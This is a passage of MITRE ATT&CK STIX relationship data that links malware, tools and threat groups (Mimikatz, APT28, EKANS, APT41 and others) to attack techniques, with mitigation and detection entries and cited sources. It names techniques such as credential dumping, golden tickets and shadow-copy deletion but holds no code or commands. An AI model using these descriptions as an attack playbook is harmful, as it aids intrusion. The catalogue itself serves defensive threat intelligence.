Dukes)","relationship_type":"uses","source_ref":"malware--cbf646f1-7db5-4dc6-808b-0094313949df","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41f04732-8fdc-4b2f-9e22-7b78ff650e5d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Deply Mimikatz","description":"Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.","url":"https://github.com/gentilkiwi/mimikatz"}],"modified":"2019-04-24T23:36:42.264Z","description":"The [Mimikatz](https://attack.mitre.org/software/S0002) credential dumper contains an implementation of an SSP.(Citation: Deply Mimikatz)","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--41f072bf-ec21-4a83-bb25-6c84fce8ca5d","created":"2024-10-16T17:43:35.505Z","revoked":false,"external_references":[{"source_name":"AWS Data Perimeters","description":"AWS. (n.d.). Data perimeters on AWS. Retrieved October 16, 2024.","url":"https://aws.amazon.com/identity/data-perimeters-on-aws/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T17:43:35.505Z","description":"Where possible, consider restricting the use of access tokens outside of expected contexts. For example, in AWS environments, consider using data perimeters to prevent credential use outside of an expected network.(Citation: AWS Data Perimeters)","relationship_type":"mitigates","source_ref":"course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c","target_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--41fd4cc5-8d62-43f6-833b-1068a8f3003c","created":"2024-03-13T20:39:26.906Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T20:39:26.906Z","description":"[LITTLELAMB.WOOLTEA](https://attack.mitre.org/software/S1121) has the ability to function as a SOCKS proxy.(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"malware--19256855-65e9-48f2-8b74-9f3d0a994428","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41fd6ebb-4262-40f8-842e-ff583ff01500","type":"relationship","created":"2021-07-27T14:18:49.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T14:18:49.917Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has collected files from network shared drives.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--420064ce-0bfd-4daa-9e4c-4b197634be19","type":"relationship","created":"2021-05-05T17:56:59.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."}],"modified":"2021-05-05T17:56:59.112Z","description":"(Citation: Kaspersky CactusPete Aug 2020)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42049cfe-e374-4726-9832-3ad01d8466a5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-03-29T19:54:46.124Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used [Mimikatz](https://attack.mitre.org/software/S0002) to generate Kerberos golden tickets.(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--421b0dc2-fc78-4eb3-a336-ce8e4febccef","created":"2024-05-17T14:03:42.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-23T18:13:04.549Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) contains real and fake second-stage payloads following initial execution, with the real payload only delivered if the malware determines it is not running in a virtualized environment.(Citation: TrendMicro RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--421f569c-e961-4112-a527-1aa5cabd37a1","type":"relationship","created":"2021-07-07T01:24:54.440Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-09-20T17:42:18.630Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to block processes created by [PsExec](https://attack.mitre.org/software/S0029) from running. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--421fd048-a5c3-46b0-b1ff-a7510c107879","created":"2023-01-26T19:31:07.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T21:17:28.993Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can place retrieved files into a destination directory.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42205acc-2d23-4ea9-ac29-980b6517d908","type":"relationship","created":"2020-11-16T19:36:31.439Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-16T19:36:31.439Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) has the ability to identify the username on a compromised host.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4220bcf3-e225-474c-b2df-1dfa9e370a74","created":"2024-09-16T09:18:28.790Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:18:28.790Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) used Windows Services with names such as `Windows Defend` for persistence of [DUSTPAN](https://attack.mitre.org/software/S1158).(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--422117d9-fb54-42cb-9143-586900cd32cd","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-11T20:24:44.601Z","description":"Monitor for newly constructed network connections (typically port 22) that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH.\n\nNetwork Analysis Frameworks such as Zeek can be used to capture, decode, and alert on network traffic. Accordingly, they can be used to look for the creation of SSH network connections.","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4224c436-0960-4cea-b135-166008a1c087","type":"relationship","created":"2021-03-02T13:57:47.585Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}],"modified":"2021-09-24T20:24:27.307Z","description":"[Kerrdown](https://attack.mitre.org/software/S0585) has been distributed through malicious e-mail attachments.(Citation: Amnesty Intl. Ocean Lotus February 2021)","relationship_type":"uses","source_ref":"malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4224d1f3-e634-4aa1-a6a5-bad5c1e81604","created":"2019-06-28T16:02:08.284Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET LightNeuron May 2019","description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T01:37:48.331Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) encrypts its configuration files with AES-256.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4224f857-32f1-4288-959c-f4dca6a826dd","created":"2024-05-22T19:10:08.813Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T19:10:08.813Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) typically deploys a variant of the [ASPXSpy](https://attack.mitre.org/software/S0073) web shell following initial access via exploitation.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4226f765-6193-4dba-b568-2fe751cedaf0","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor for newly constructed files for payloads","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--422ae7c9-d403-4d3e-89d4-593e03f3b4a3","created":"2023-10-04T13:35:06.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T17:44:28.369Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) malicious PowerShell commands can be encoded with base64.(Citation: BitDefender BADHATCH Mar 2021) ","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--422b117a-9cb1-4d03-9b2d-000de5d8526e","type":"relationship","created":"2021-10-15T16:12:06.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Fivehands June 2021","url":"https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/","description":"Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. Retrieved June 24, 2021."}],"modified":"2021-10-15T16:12:06.739Z","description":"[FIVEHANDS](https://attack.mitre.org/software/S0618) can enumerate network shares and mounted drives on a network.(Citation: NCC Group Fivehands June 2021)","relationship_type":"uses","source_ref":"malware--f464354c-7103-47c6-969b-8766f0157ed2","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4238bdb9-71ad-413f-a2fa-4c090ed4c469","type":"relationship","created":"2021-02-12T20:07:43.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dragos EKANS","url":"https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/","description":"Dragos. (2020, February 3). EKANS Ransomware and ICS Operations. Retrieved February 9, 2021."},{"source_name":"Palo Alto Unit 42 EKANS","url":"https://unit42.paloaltonetworks.com/threat-assessment-ekans-ransomware/","description":"Hinchliffe, A. Santos, D. (2020, June 26). Threat Assessment: EKANS Ransomware. Retrieved February 9, 2021."}],"modified":"2021-05-04T18:06:34.346Z","description":"[EKANS](https://attack.mitre.org/software/S0605) removes backups of Volume Shadow Copies to disable any restoration capabilities.(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)","relationship_type":"uses","source_ref":"malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--423b6f97-96c5-47f3-aa9f-f27bf5cd1ba0","type":"relationship","created":"2020-09-29T19:16:57.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA WellMail July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c","description":"CISA. (2020, July 16). MAR-10296782-3.v1 – WELLMAIL. Retrieved September 29, 2020."}],"modified":"2020-09-29T19:16:57.935Z","description":"[WellMail](https://attack.mitre.org/software/S0515) can archive files on the compromised host.(Citation: CISA WellMail July 2020)","relationship_type":"uses","source_ref":"malware--959f3b19-2dc8-48d5-8942-c66813a5101a","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--423ba5d2-6400-4e35-ba8e-dfbedd0b5303","type":"relationship","created":"2020-08-10T13:59:38.605Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T20:44:28.020Z","description":"Use application control configured to block execution of verclsid.exe if it is not required for a given system or network to prevent potential misuse by adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42407045-4fd2-42b0-9686-ba6bbeafcaea","type":"relationship","created":"2021-09-28T17:59:40.605Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-11T18:29:51.401Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can capture all keystrokes on a compromised host.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42430a20-2bc2-4078-9da6-9c065cbf5224","created":"2024-09-23T23:07:50.557Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:07:50.557Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used batch scripts to collect data.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42440c0c-f28b-4c42-94af-dc4cad6a8dd7","type":"relationship","created":"2021-04-19T17:58:47.612Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."}],"modified":"2021-04-19T17:58:47.612Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used InstallUtil.exe to execute a malicious Beacon stager.(Citation: Anomali MUSTANG PANDA October 2019)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--2cd950a6-16c4-404a-aa01-044322395107","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4248d8aa-eec4-4fd3-9707-ca1ed85bf5c5","created":"2023-07-28T17:42:46.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-05T11:44:47.029Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has created MS-SQL local accounts in a compromised network.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--424ae88f-7405-4cab-9065-4d1e024a25c8","created":"2022-04-06T18:55:36.617Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has hosted open-source remote access Trojans used in its operations in GitHub.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T18:55:36.617Z","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--424b60eb-a6d1-405f-8f95-648fd6d52658","created":"2022-09-30T20:09:17.208Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:09:17.208Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) has downloaded additional malware and files onto a compromised host.(Citation: Cylance Dust 